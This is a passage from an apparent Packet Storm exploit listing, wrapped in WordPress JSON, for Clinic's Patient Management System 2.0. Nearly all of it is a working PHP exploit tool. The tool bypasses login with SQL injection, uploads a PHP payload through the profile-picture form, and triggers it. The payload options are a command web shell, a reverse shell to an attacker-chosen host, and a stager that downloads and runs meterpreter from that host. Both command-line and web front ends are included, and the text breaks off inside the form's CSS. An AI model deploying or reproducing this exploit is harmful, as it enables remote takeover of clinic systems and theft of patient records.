{"id":30058,"date":"2025-12-10T12:52:27","date_gmt":"2025-12-10T12:52:27","guid":{"rendered":"http:\/\/localhost\/?p=30058"},"modified":"2025-12-10T12:52:27","modified_gmt":"2025-12-10T12:52:27","slug":"clinics-patient-management-system-20-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30058","title":{"rendered":"\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution_PACKETSTORM:212664"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:49&#8243;,&#8221;description&#8221;:&#8221;Clinic&#8217;s Patient Management System version 2.0 proof of concept that combines SQL injection authentication bypass with an unrestricted file upload to achieve full compromise&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Clinic&#8217;s Patient Management System 2.0 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212664&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-2297&#8243;,&#8221;CVE-2025-3096&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Clinic&#8217;s Patient Management System 2.0 Unauthenticated Admin Access                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.sourcecodester.com\/php-clinics-patient-management-system-source-code                                            |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/194570\/ \\u0026 \\tCVE-2022-2297, CVE-2025-3096\\n    \\n    [+] Summary : \\n                 Critical unauthenticated remote code execution vulnerability chain in Clinic&#8217;s Patient Management System (v2.0) \\n    \\t\\t\\t combining SQL injection authentication bypass with unrestricted file upload functionality to achieve complete system compromise.\\n     \\n    [+]  POC : \\n    \\n    php poc.php  or http:\/\/127.0.0.1\/poc.php \\n    \\n    \\u003c?php\\n    \/*\\n     * by : indoushka\\n     *\/\\n    \\n    class ClinicPMSExploit {\\n        private $target;\\n        private $port;\\n        private $ssl;\\n        private $base_path;\\n        private $timeout;\\n        private $cookies;\\n        private $delete_files;\\n        \\n        public function __construct($target, $port = 80, $ssl = false, $base_path = &#8216;\/pms\/&#8217;, $delete_files = true) {\\n            $this-\\u003etarget = $target;\\n            $this-\\u003eport = $port;\\n            $this-\\u003essl = $ssl;\\n            $this-\\u003ebase_path = rtrim($base_path, &#8216;\/&#8217;);\\n            $this-\\u003etimeout = 30;\\n            $this-\\u003ecookies = [];\\n            $this-\\u003edelete_files = $delete_files;\\n        }\\n        \\n        \/**\\n         * Check if target is vulnerable\\n         *\/\\n        public function check() {\\n            echo \\&#8221;[*] Checking Clinic Patient Management System vulnerability&#8230;\\\\n\\&#8221;;\\n            \\n            $res = $this-\\u003esend_request(&#8221;);\\n            \\n            if (!$res || $res[&#8216;code&#8217;] != 200) {\\n                echo \\&#8221;[-] Unexpected response code from server\\\\n\\&#8221;;\\n                return \\&#8221;unknown\\&#8221;;\\n            }\\n            \\n            if (strpos($res[&#8216;body&#8217;], \\&#8221;Clinic&#8217;s Patient Management System in PHP\\&#8221;) !== false) {\\n                echo \\&#8221;[+] \u2713 Clinic PMS detected\\\\n\\&#8221;;\\n                \\n                \/\/ Test SQL injection vulnerability\\n                if ($this-\\u003etest_sqli()) {\\n                    echo \\&#8221;[+] \u2713 SQL injection vulnerability confirmed\\\\n\\&#8221;;\\n                    return \\&#8221;vulnerable\\&#8221;;\\n                } else {\\n                    echo \\&#8221;[-] SQL injection failed &#8211; application might be patched\\\\n\\&#8221;;\\n                    return \\&#8221;safe\\&#8221;;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] Clinic PMS not detected\\\\n\\&#8221;;\\n            return \\&#8221;safe\\&#8221;;\\n        }\\n        \\n        \/**\\n         * Test SQL injection vulnerability\\n         *\/\\n        private function test_sqli() {\\n            $login_data = [\\n                &#8216;user_name&#8217; =\\u003e \\&#8221;&#8216; or &#8216;1&#8217;=&#8217;1&#8242; LIMIT 1;&#8211;\\&#8221;,\\n                &#8216;password&#8217; =\\u003e &#8221;,\\n                &#8216;login&#8217; =\\u003e &#8221;\\n            ];\\n            \\n            $res = $this-\\u003esend_request(&#8216;index.php&#8217;, &#8216;POST&#8217;, [], http_build_query($login_data), [\\n                &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;\\n            ], true);\\n            \\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 302) {\\n                $location = $this-\\u003eextract_header($res[&#8216;headers&#8217;], &#8216;Location&#8217;);\\n                if ($location \\u0026\\u0026 strpos($location, &#8216;dashboard.php&#8217;) !== false) {\\n                    return true;\\n                }\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * Login using SQL injection\\n         *\/\\n        private function login_sqli() {\\n            echo \\&#8221;[*] Logging in using SQL injection&#8230;\\\\n\\&#8221;;\\n            \\n            $login_data = [\\n                &#8216;user_name&#8217; =\\u003e \\&#8221;&#8216; or &#8216;1&#8217;=&#8217;1&#8242; LIMIT 1;&#8211;\\&#8221;,\\n                &#8216;password&#8217; =\\u003e &#8221;,\\n                &#8216;login&#8217; =\\u003e &#8221;\\n            ];\\n            \\n            $res = $this-\\u003esend_request(&#8216;index.php&#8217;, &#8216;POST&#8217;, [], http_build_query($login_data), [\\n                &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;\\n            ], true);\\n            \\n            if (!$res || $res[&#8216;code&#8217;] != 302) {\\n                echo \\&#8221;[-] SQL injection login failed\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            $location = $this-\\u003eextract_header($res[&#8216;headers&#8217;], &#8216;Location&#8217;);\\n            if ($location \\u0026\\u0026 strpos($location, &#8216;dashboard.php&#8217;) !== false) {\\n                echo \\&#8221;[+] Successfully logged in using SQL injection\\\\n\\&#8221;;\\n                return true;\\n            }\\n            \\n            echo \\&#8221;[-] SQL injection login failed &#8211; unexpected redirect\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Upload PHP payload via profile picture upload\\n         *\/\\n        private function upload_payload($payload_type = &#8216;cmd&#8217;, $lhost = null, $lport = null) {\\n            echo \\&#8221;[*] Uploading PHP payload&#8230;\\\\n\\&#8221;;\\n            \\n            $username = $this-\\u003erandom_text(8);\\n            $password = $this-\\u003erandom_text(8);\\n            $filename = $this-\\u003erandom_text(8) . &#8216;.php&#8217;;\\n            \\n            \/\/ Generate PHP payload\\n            $php_payload = $this-\\u003egenerate_php_payload($payload_type, $lhost, $lport);\\n            \\n            $boundary = \\&#8221;&#8212;-WebKitFormBoundary\\&#8221; . $this-\\u003erandom_text(16);\\n            \\n            $data = \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;hidden_id\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;1\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            \\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;display_name\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;{$username}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            \\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;username\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;{$username}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            \\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;password\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;{$password}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            \\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;profile_picture\\\\\\&#8221;; filename=\\\\\\&#8221;{$filename}\\\\\\&#8221;\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;Content-Type: application\/x-php\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;{$php_payload}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            \\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;save_user\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}&#8211;\\\\r\\\\n\\&#8221;;\\n            \\n            $headers = [\\n                \\&#8221;Content-Type: multipart\/form-data; boundary={$boundary}\\&#8221;,\\n                \\&#8221;Content-Length: \\&#8221; . strlen($data)\\n            ];\\n            \\n            $res = $this-\\u003esend_request(&#8216;update_user.php&#8217;, &#8216;POST&#8217;, [&#8216;user_id&#8217; =\\u003e &#8216;1&#8217;], $data, $headers, true);\\n            \\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 302) {\\n                $location = $this-\\u003eextract_header($res[&#8216;headers&#8217;], &#8216;Location&#8217;);\\n                if ($location \\u0026\\u0026 strpos($location, &#8216;congratulation.php?goto_page=users.php\\u0026message=user update successfully&#8217;) !== false) {\\n                    echo \\&#8221;[+] PHP payload uploaded successfully: {$filename}\\\\n\\&#8221;;\\n                    return $filename;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] Payload upload failed\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Generate PHP payload\\n         *\/\\n        private function generate_php_payload($type, $lhost, $lport) {\\n            switch ($type) {\\n                case &#8216;reverse_shell&#8217;:\\n                    if (!$lhost || !$lport) {\\n                        return $this-\\u003egenerate_cmd_shell();\\n                    }\\n                    return $this-\\u003egenerate_reverse_shell($lhost, $lport);\\n                    \\n                case &#8216;web_shell&#8217;:\\n                    return $this-\\u003egenerate_web_shell();\\n                    \\n                case &#8216;meterpreter&#8217;:\\n                    if (!$lhost || !$lport) {\\n                        return $this-\\u003egenerate_cmd_shell();\\n                    }\\n                    return $this-\\u003egenerate_meterpreter_stager($lhost, $lport);\\n                    \\n                case &#8216;cmd&#8217;:\\n                default:\\n                    return $this-\\u003egenerate_cmd_shell();\\n            }\\n        }\\n        \\n        \/**\\n         * Generate command shell\\n         *\/\\n        private function generate_cmd_shell() {\\n            return &#8216;\\u003c?php if(isset($_GET[\\&#8221;cmd\\&#8221;])){ system($_GET[\\&#8221;cmd\\&#8221;]); } ?\\u003e&#8217;;\\n        }\\n        \\n        \/**\\n         * Generate reverse shell\\n         *\/\\n        private function generate_reverse_shell($lhost, $lport) {\\n            $payload = &#8216;\\u003c?php &#8216;;\\n            $payload .= &#8216;$sock=fsockopen(\\&#8221;&#8216; . $lhost . &#8216;\\&#8221;,&#8217; . $lport . &#8216;);&#8217;;\\n            $payload .= &#8216;exec(\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\&#8221;);&#8217;;\\n            $payload .= &#8216;?\\u003e&#8217;;\\n            return $payload;\\n        }\\n        \\n        \/**\\n         * Generate web shell\\n         *\/\\n        private function generate_web_shell() {\\n            return &#8216;\\u003c?php if(isset($_POST[\\&#8221;cmd\\&#8221;])){ echo \\&#8221;\\u003cpre\\u003e\\&#8221;; system($_POST[\\&#8221;cmd\\&#8221;]); echo \\&#8221;\\u003c\/pre\\u003e\\&#8221;; } ?\\u003e&#8217;;\\n        }\\n        \\n        \/**\\n         * Generate meterpreter stager\\n         *\/\\n        private function generate_meterpreter_stager($lhost, $lport) {\\n            $payload = &#8216;\\u003c?php &#8216;;\\n            $payload .= &#8216;file_put_contents(\\&#8221;\/tmp\/meterpreter.elf\\&#8221;, file_get_contents(\\&#8221;http:\/\/&#8217; . $lhost . &#8216;:8080\/meterpreter.elf\\&#8221;));&#8217;;\\n            $payload .= &#8216;chmod(\\&#8221;\/tmp\/meterpreter.elf\\&#8221;, 0755);&#8217;;\\n            $payload .= &#8216;system(\\&#8221;\/tmp\/meterpreter.elf\\&#8221;);&#8217;;\\n            $payload .= &#8216;?\\u003e&#8217;;\\n            return $payload;\\n        }\\n        \\n        \/**\\n         * Extract uploaded file path\\n         *\/\\n        private function extract_payload_path() {\\n            echo \\&#8221;[*] Extracting uploaded payload path&#8230;\\\\n\\&#8221;;\\n            \\n            $res = $this-\\u003esend_request(&#8216;update_user.php&#8217;, &#8216;GET&#8217;, [&#8216;user_id&#8217; =\\u003e &#8216;1&#8217;]);\\n            \\n            if (!$res || $res[&#8216;code&#8217;] != 200) {\\n                echo \\&#8221;[-] Failed to extract payload path\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            \/\/ Extract image src from HTML\\n            if (preg_match(&#8216;\/\\u003cimg[^\\u003e]*alt=\\&#8221;User Image\\&#8221;[^\\u003e]*src=\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;, $res[&#8216;body&#8217;], $matches)) {\\n                $payload_path = $matches[1];\\n                echo \\&#8221;[+] Found payload path: {$payload_path}\\\\n\\&#8221;;\\n                return $payload_path;\\n            }\\n            \\n            echo \\&#8221;[-] Could not find payload path in response\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Trigger the payload\\n         *\/\\n        private function trigger_payload($payload_path) {\\n            echo \\&#8221;[*] Triggering payload execution&#8230;\\\\n\\&#8221;;\\n            \\n            if (!$payload_path) {\\n                echo \\&#8221;[-] No payload path provided\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            $res = $this-\\u003esend_request($payload_path, &#8216;GET&#8217;);\\n            \\n            if ($res) {\\n                echo \\&#8221;[+] Payload triggered &#8211; HTTP {$res[&#8216;code&#8217;]}\\\\n\\&#8221;;\\n                \\n                if ($this-\\u003edelete_files) {\\n                    echo \\&#8221;[*] Note: File cleanup would be performed in full implementation\\\\n\\&#8221;;\\n                }\\n                \\n                return true;\\n            }\\n            \\n            echo \\&#8221;[-] Failed to trigger payload\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Logout from the application\\n         *\/\\n        private function logout() {\\n            echo \\&#8221;[*] Logging out&#8230;\\\\n\\&#8221;;\\n            \\n            $res = $this-\\u003esend_request(&#8216;logout.php&#8217;, &#8216;GET&#8217;);\\n            \\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 302) {\\n                $location = $this-\\u003eextract_header($res[&#8216;headers&#8217;], &#8216;Location&#8217;);\\n                if ($location \\u0026\\u0026 strpos($location, &#8216;index.php&#8217;) !== false) {\\n                    echo \\&#8221;[+] Successfully logged out\\\\n\\&#8221;;\\n                    $this-\\u003ecookies = []; \/\/ Clear cookies\\n                    return true;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] Logout failed\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Execute full exploit chain\\n         *\/\\n        public function exploit($payload_type = &#8216;cmd&#8217;, $lhost = null, $lport = null) {\\n            echo \\&#8221;[*] Starting Clinic PMS exploitation chain&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Step 1: Login via SQL injection\\n            if (!$this-\\u003elogin_sqli()) {\\n                echo \\&#8221;[-] Exploitation failed at login stage\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            \/\/ Step 2: Upload payload\\n            $filename = $this-\\u003eupload_payload($payload_type, $lhost, $lport);\\n            if (!$filename) {\\n                echo \\&#8221;[-] Exploitation failed at payload upload stage\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            \/\/ Step 3: Extract payload path\\n            $payload_path = $this-\\u003eextract_payload_path();\\n            if (!$payload_path) {\\n                echo \\&#8221;[-] Exploitation failed at path extraction stage\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            \/\/ Step 4: Trigger payload\\n            if ($this-\\u003etrigger_payload($payload_path)) {\\n                echo \\&#8221;[+] \u2713 Exploitation completed successfully\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Payload should be executed\\\\n\\&#8221;;\\n                return true;\\n            }\\n            \\n            echo \\&#8221;[-] Exploitation failed at payload trigger stage\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * Send HTTP request\\n         *\/\\n        private function send_request($path, $method = &#8216;GET&#8217;, $params = [], $data = null, $custom_headers = [], $save_cookies = false) {\\n            $url = $this-\\u003ebuild_url($path);\\n            \\n            if ($method == &#8216;GET&#8217; \\u0026\\u0026 !empty($params)) {\\n                $url .= &#8216;?&#8217; . http_build_query($params);\\n            }\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_USERAGENT =\\u003e &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                CURLOPT_HEADER =\\u003e true,\\n                CURLOPT_CUSTOMREQUEST =\\u003e $method,\\n                CURLOPT_FOLLOWLOCATION =\\u003e false\\n            ]);\\n            \\n            \/\/ Add POST data if provided\\n            if ($method == &#8216;POST&#8217; \\u0026\\u0026 $data) {\\n                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n            }\\n            \\n            \/\/ Build headers\\n            $headers = array_merge([\\n                &#8216;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            ], $custom_headers);\\n            \\n            \/\/ Add cookies if available\\n            $cookie_header = $this-\\u003ebuild_cookie_header();\\n            if ($cookie_header) {\\n                $headers[] = $cookie_header;\\n            }\\n            \\n            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            \\n            \/\/ Save cookies if requested\\n            if ($save_cookies \\u0026\\u0026 $response) {\\n                $this-\\u003eextract_cookies($response);\\n            }\\n            \\n            curl_close($ch);\\n            \\n            if ($response) {\\n                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\\n                $headers = substr($response, 0, $header_size);\\n                $body = substr($response, $header_size);\\n                \\n                return [\\n                    &#8216;code&#8217; =\\u003e $http_code,\\n                    &#8216;headers&#8217; =\\u003e $headers,\\n                    &#8216;body&#8217; =\\u003e $body\\n                ];\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * Extract cookies from response headers\\n         *\/\\n        private function extract_cookies($response) {\\n            if (preg_match_all(&#8216;\/Set-Cookie:\\\\s*([^=]+)=([^;]+)\/i&#8217;, $response, $matches)) {\\n                for ($i = 0; $i \\u003c count($matches[1]); $i++) {\\n                    $this-\\u003ecookies[trim($matches[1][$i])] = $matches[2][$i];\\n                }\\n            }\\n        }\\n        \\n        \/**\\n         * Extract specific header from headers string\\n         *\/\\n        private function extract_header($headers, $header_name) {\\n            $pattern = &#8216;\/^&#8217; . $header_name . &#8216;:\\\\s*(.*)$\/mi&#8217;;\\n            if (preg_match($pattern, $headers, $matches)) {\\n                return trim($matches[1]);\\n            }\\n            return null;\\n        }\\n        \\n        \/**\\n         * Build cookie header from stored cookies\\n         *\/\\n        private function build_cookie_header() {\\n            if (empty($this-\\u003ecookies)) {\\n                return null;\\n            }\\n            \\n            $cookie_parts = [];\\n            foreach ($this-\\u003ecookies as $name =\\u003e $value) {\\n                $cookie_parts[] = \\&#8221;{$name}={$value}\\&#8221;;\\n            }\\n            \\n            return &#8216;Cookie: &#8216; . implode(&#8216;; &#8216;, $cookie_parts);\\n        }\\n        \\n        \/**\\n         * Generate random text\\n         *\/\\n        private function random_text($length = 8) {\\n            $chars = &#8216;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#8217;;\\n            $result = &#8221;;\\n            for ($i = 0; $i \\u003c $length; $i++) {\\n                $result .= $chars[rand(0, strlen($chars) &#8211; 1)];\\n            }\\n            return $result;\\n        }\\n        \\n        \/**\\n         * Build full URL\\n         *\/\\n        private function build_url($path) {\\n            $protocol = $this-\\u003essl ? &#8216;https&#8217; : &#8216;http&#8217;;\\n            $full_path = $this-\\u003ebase_path . $path;\\n            return \\&#8221;{$protocol}:\/\/{$this-\\u003etarget}:{$this-\\u003eport}{$full_path}\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ CLI Interface\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        echo \\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551           Clinic Patient Management System RCE              \u2551\\n        \u2551               CVE-2022-2297 \\u0026 CVE-2025-3096                 \u2551\\n        \u2551                     PHP Implementation                      \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\n        \\\\n\\&#8221;;\\n        \\n        $options = getopt(\\&#8221;t:p:s:u:cP:L:H:\\&#8221;, [\\n            \\&#8221;target:\\&#8221;,\\n            \\&#8221;port:\\&#8221;,\\n            \\&#8221;ssl\\&#8221;,\\n            \\&#8221;uri:\\&#8221;,\\n            \\&#8221;check\\&#8221;,\\n            \\&#8221;payload:\\&#8221;,\\n            \\&#8221;lhost:\\&#8221;,\\n            \\&#8221;lport:\\&#8221;\\n        ]);\\n        \\n        $target = $options[&#8216;t&#8217;] ?? $options[&#8216;target&#8217;] ?? null;\\n        $port = $options[&#8216;p&#8217;] ?? $options[&#8216;port&#8217;] ?? 80;\\n        $ssl = isset($options[&#8216;s&#8217;]) || isset($options[&#8216;ssl&#8217;]);\\n        $base_uri = $options[&#8216;u&#8217;] ?? $options[&#8216;uri&#8217;] ?? &#8216;\/pms\/&#8217;;\\n        $check_only = isset($options[&#8216;c&#8217;]) || isset($options[&#8216;check&#8217;]);\\n        $payload_type = $options[&#8216;P&#8217;] ?? $options[&#8216;payload&#8217;] ?? &#8216;cmd&#8217;;\\n        $lhost = $options[&#8216;H&#8217;] ?? $options[&#8216;lhost&#8217;] ?? null;\\n        $lport = $options[&#8216;L&#8217;] ?? $options[&#8216;lport&#8217;] ?? 4444;\\n        \\n        if (!$target) {\\n            echo \\&#8221;Usage: php clinic_pms_exploit.php [options]\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  -t, &#8211;target    Target host (required)\\\\n\\&#8221;;\\n            echo \\&#8221;  -p, &#8211;port      Target port (default: 80)\\\\n\\&#8221;;\\n            echo \\&#8221;  -s, &#8211;ssl       Use SSL (default: false)\\\\n\\&#8221;;\\n            echo \\&#8221;  -u, &#8211;uri       Base URI path (default: \/pms\/)\\\\n\\&#8221;;\\n            echo \\&#8221;  -c, &#8211;check     Check only (don&#8217;t exploit)\\\\n\\&#8221;;\\n            echo \\&#8221;  -P, &#8211;payload   Payload type: cmd, reverse_shell, web_shell, meterpreter (default: cmd)\\\\n\\&#8221;;\\n            echo \\&#8221;  -H, &#8211;lhost     Listener host for reverse shell\\\\n\\&#8221;;\\n            echo \\&#8221;  -L, &#8211;lport     Listener port for reverse shell (default: 4444)\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php clinic_pms_exploit.php -t 192.168.1.100 -c\\\\n\\&#8221;;\\n            echo \\&#8221;  php clinic_pms_exploit.php -t clinic.example.com -P reverse_shell -H 10.0.0.5 -L 4444\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $exploit = new ClinicPMSExploit($target, $port, $ssl, $base_uri);\\n        \\n        if ($check_only) {\\n            $result = $exploit-\\u003echeck();\\n            echo \\&#8221;\\\\n[*] Result: {$result}\\\\n\\&#8221;;\\n        } else {\\n            if ($exploit-\\u003eexploit($payload_type, $lhost, $lport)) {\\n                echo \\&#8221;[+] Exploitation completed successfully\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[-] Exploitation failed\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n    } else {\\n        \/\/ Web Interface\\n        $action = $_POST[&#8216;action&#8217;] ?? &#8221;;\\n        \\n        if ($action === &#8216;check&#8217; || $action === &#8216;exploit&#8217;) {\\n            $target = $_POST[&#8216;target&#8217;] ?? &#8221;;\\n            $port = $_POST[&#8216;port&#8217;] ?? 80;\\n            $ssl = isset($_POST[&#8216;ssl&#8217;]);\\n            $base_uri = $_POST[&#8216;uri&#8217;] ?? &#8216;\/pms\/&#8217;;\\n            $payload_type = $_POST[&#8216;payload_type&#8217;] ?? &#8216;cmd&#8217;;\\n            $lhost = $_POST[&#8216;lhost&#8217;] ?? &#8221;;\\n            $lport = $_POST[&#8216;lport&#8217;] ?? 4444;\\n            \\n            if (empty($target)) {\\n                echo \\&#8221;\\u003cdiv style=&#8217;color: red; padding: 10px; border: 1px solid red; margin: 10px;&#8217;\\u003eTarget host is required\\u003c\/div\\u003e\\&#8221;;\\n            } else {\\n                $exploit = new ClinicPMSExploit($target, $port, $ssl, $base_uri);\\n                \\n                ob_start();\\n                if ($action === &#8216;check&#8217;) {\\n                    $exploit-\\u003echeck();\\n                } else {\\n                    $exploit-\\u003eexploit($payload_type, $lhost, $lport);\\n                }\\n                $output = ob_get_clean();\\n                \\n                echo \\&#8221;\\u003cpre style=&#8217;background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;&#8217;\\u003e$output\\u003c\/pre\\u003e\\&#8221;;\\n            }\\n            \\n            echo &#8216;\\u003ca href=\\&#8221;&#8216; . htmlspecialchars($_SERVER[&#8216;PHP_SELF&#8217;]) . &#8216;\\&#8221; style=\\&#8221;display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;\\&#8221;\\u003eBack to Form\\u003c\/a\\u003e&#8217;;\\n            \\n        } else {\\n            \/\/ Display the form\\n            echo &#8216;\\u003c!DOCTYPE html\\u003e\\n            \\u003chtml\\u003e\\n            \\u003chead\\u003e\\n                \\u003ctitle\\u003eClinic Patient Management System RCE\\u003c\/title\\u003e\\n                \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n                \\u003cstyle\\u003e\\n                    body { \\n                        font-family: Arial, sans-serif; \\n                        margin: 0; \\n                        padding: 20px; \\n                        background: #f5f5f5;\\n                    }\\n                    .container { \\n                        max-width: 800px; \\n                        margin: 0 auto; \\n                        background: white;\\n                        padding: 30px;\\n                        border-radius: 8px;\\n                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);\\n                    }\\n                    h1 { \\n                        color: #333; \\n                        border-bottom: 2px solid #007cba;\\n                        padding-bottom: 10px;\\n                    }\\n                    h3 {\\n                        color: #666;\\n                    }\\n                    .form-group { \\n                        margin-bottom: 20px; \\n                    }\\n                    label { \\n                        display: block; \\n                        margin-bottom: 8px; \\n                        font-weight: bold;\\n                        color: #333;\\n                    }\\n                    input[type=\\&#8221;text\\&#8221;], select { \\n                        width: 100%; \\n                        padding: 10px; \\n                        border: 1px solid #ddd; \\n                        border-radius: 4px; \\n                        box-sizing: border-box;\\n                        font-size: 14px;\\n                    }\\n                    .checkbox-group {\\n                        display: flex;\\n                        align-items: center;\\n                        gap: 10px;\\n                    }\\n                    button { \\n                        background: #007cba; \\n                        color: white; \\n                        padding: 12px 25px; \\n                        border: none; \\n                        border-radius: 4px; \\n                        cursor: pointer; \\n                        margin-right: 10px;\\n                        font-size: 16px;\\n                        transition: background 0.3s;\\n                    }\\n                    button:hover {\\n                        background: #005a87;\\n                    }\\n                    .danger { \\n                        background: #dc3545; \\n                    }\\n                    .danger:hover {\\n                        background: #c82333;\\n                    }\\n                    .info { \\n                        background: #17a2b8; \\n                    }\\n                    .info:hover {\\n                        background: #138496;\\n                    }\\n                    .warning-box {\\n                        background: #fff3cd;\\n                        border: 1px solid #ffeaa7;\\n                        color: #856404;\\n                        padding: 15px;\\n                        border-radius: 4px;\\n                        margin: 20px 0;\\n                    }\\n                    